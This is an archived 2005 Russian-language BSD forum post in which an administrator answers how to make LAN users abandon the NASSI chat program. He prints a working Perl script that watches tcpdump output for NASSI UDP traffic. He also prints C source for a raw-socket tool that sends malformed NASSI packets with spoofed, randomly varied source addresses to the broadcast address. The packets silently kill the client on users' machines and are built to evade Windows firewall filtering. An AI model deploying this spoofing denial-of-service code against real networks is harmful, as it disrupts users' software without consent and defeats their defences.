|
ru.unix.bsd- RU.UNIX.BSD ------------------------------------------------------------------ From : Vadim Guchenko 2:5020/400 28 Oct 2005 06:15:27 To : Andrey Zonov Subject : Re: фря и глобальный хак локалки -------------------------------------------------------------------------------- Hello, Andrey! You wrote to All on Thu, 27 Oct 2005 21:35:09 +0400: AZ> Есть желание перейти на IRC-общение, и даже есть возможность AZ> ;-) Сервак настроен, работает, но юзеры не хотят перелазить с AZ> полюбившегося им NASSI - AZ> мультикастного чата :-( Вообще-то он может работать и по броадкастам, и по мультикастам. В обоих случаях разбиение сети на сегменты сделает невозможным общаться через насси пользователям из разных сегментов, т.к. броадкасты и мультикасты через маршрутизаторы по умолчанию не роутятся. Вопрос сводится лишь к убиению насси в каждом отдельном броадкастовом сегменте. AZ> Добрые люди подсказали, что под мастдай есть какой-то спрут который AZ> тупо шлёт пакеты на порт этого чата и тачка юзера уходит в зависон. AZ> Внимание! вопрос: можно ли как-то средствами фри побрать эту заразу AZ> (чат)? например слать такие же тупые пакеты юзеру средствами фри. Можно. Я делал так. tcpdump на каждом сервере доступа ловит udp пакеты и передает их скрипту на perl. Скрипт выделяет по некоторым признакам пакеты от насси и шлет на адрес и порт источника определенный "битый" пакет, после которого насси тихо без сообщений об ошибках закрывается. При этом насси вообще не удается запустить, т.к. сразу же после запуска она тихо закрывается. Скрипт на перле: nassi_kill.pl: #!/usr/bin/perl while (1) { $line=<STDIN>; chomp($line); next if ($line!~/(\d+\.\d+\.\d+\.)\d+\.(\d+)\s>\s\d+\.\d+\.\d+\.\d+\.(\d+):\sudp\s(\d+)\ s*$/); next if ($4==26 || $2!=$3+1); $dst_ip=$1.'255'; $dst_port=$3; $src_ip=$1.int(rand(254)+1); $src_port=$3+1; `/usr/local/work/nassi_srv/nassi_srv $src_ip $src_port $dst_ip $dst_port`; } Этот скрипт ловит все пакеты udp, у которых длина не равна 26 (кажется, исключаем DHCP) и у которых порт источника на единицу больше порта назначения (особенность работы насси). Потом скрипт берет первые 3 цифры адреса источника, а последнюю цифру вычисляет случайным образом. Это будет адрес источника для ответа, который не зафильтруешь на файрволе винды, т.к. он будет все время разный. В качестве адреса назначения пакета будет броадкастовый адрес. Стандартной программы для отправки произвольной информации с произольного ip-адреса (спуфинг) я не нашел, поэтому написал свою на сях: nassi_srv.c: #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/udp.h> int s; struct sockaddr_in sin_to; char datagram[4096]; struct ip* iph = (struct ip*)datagram; struct udphdr* udph = (struct udphdr*)(datagram+20); char* data = datagram+28; int udp_init() { int so_hincl = 1, so_broadcast = 1; if ((s=socket(PF_INET,SOCK_RAW,17))<0) { perror("socket"); return 1; }; if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,&so_hincl,sizeof(so_hincl))<0 || setsockopt(s,SOL_SOCKET,SO_BROADCAST,&so_broadcast,sizeof(so_broadcast))<0) { perror("setsockopt"); return 1; }; bzero(&datagram,sizeof(datagram)); iph->ip_v=4; iph->ip_hl=5; iph->ip_tos=0; iph->ip_id=0; iph->ip_off=0; iph->ip_ttl=64; iph->ip_p=17; iph->ip_sum=0; udph->uh_sum=0; bzero(&sin_to,sizeof(sin_to)); sin_to.sin_family=AF_INET; } int udp_send(char* src_ip, int src_port, char* dst_ip, int dst_port, int data_len) { iph->ip_len=data_len+28; iph->ip_src.s_addr=inet_addr(src_ip); iph->ip_dst.s_addr=inet_addr(dst_ip); udph->uh_sport=htons(src_port); udph->uh_dport=htons(dst_port); udph->uh_ulen=htons(data_len+8); sin_to.sin_addr.s_addr=iph->ip_dst.s_addr; sin_to.sin_port=udph->uh_dport; if (sendto(s,datagram,iph->ip_len,0,(struct sockaddr*)&sin_to,sizeof(sin_to))<0) { perror("sendto"); return 1; }; } int nassi_send(char* comp, char* nick, char* chan, char* msg, char* src_ip, int src_port, char* dst_ip, int dst_port) { char* p=data; int data_len; *p=1; p+=3; *p++=1; *(long*)p=0x00000FFD; p+=4; *p++=0x0A; *(long*)p=0x00ED677F; p+=4; *p++=strlen(comp); strcpy(p,comp); p+=*(p-1); *p++=strlen(nick); strcpy(p,nick); p+=*(p-1); p+=8; *p++=0; *p++=strlen(chan); strcpy(p,chan); p+=*(p-1); strcpy(p,msg); p+=strlen(msg)+1; data_len=p-data; *(short*)(data+1)=data_len; udp_send(src_ip,src_port,dst_ip,dst_port,data_len); } int nassi_kill(char* src_ip, int src_port, char* dst_ip, int dst_port) { nassi_send("","","","",src_ip,src_port,dst_ip,dst_port); } int main (int argc, char *argv[]) { char *src_ip, *dst_ip; int src_port, dst_port; if (argc<5) { printf("Not enough arguments\n"); return 1; } src_ip=argv[1]; sscanf(argv[2],"%d",&src_port); dst_ip=argv[3]; sscanf(argv[4],"%d",&dst_port); if (udp_init()<0) return 1; if (nassi_kill(src_ip,src_port,dst_ip,dst_port)<0) return 1; } With best regards, Vadim Guchenko. E-mail: s0lver@kraslan.ru --- ifmail v.2.15dev5.3 * Origin: Demos online service (2:5020/400) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.unix.bsd/9179d3c25d3a.html, оценка из 5, голосов 10
|